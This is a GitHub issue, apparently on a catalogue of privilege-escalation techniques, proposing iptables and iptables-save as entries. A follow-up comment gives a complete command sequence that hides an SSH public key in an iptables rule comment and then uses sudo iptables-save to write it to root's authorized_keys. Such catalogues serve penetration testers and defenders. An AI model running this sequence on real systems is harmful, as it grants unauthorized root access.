Add iptables and iptables-save #488

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Open

godylockz opened this issue Jan 19, 2025 · 1 comment

Contributor

godylockz commented Jan 19, 2025

Reference: https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/

Contributor Author

godylockz commented Jan 19, 2025

Example:

ssh-keygen -t ed25519
TF=$(mktemp -u)
echo '' > $TF
cut -d' ' -f1,2 ~/.ssh/id_ed25519.pub >> $TF
echo 'X' >> $TF
x=$(cat $TF)
x=${x%X}
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "$x"
sudo iptables -S
sudo iptables-save -f /root/.ssh/authorized_keys

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment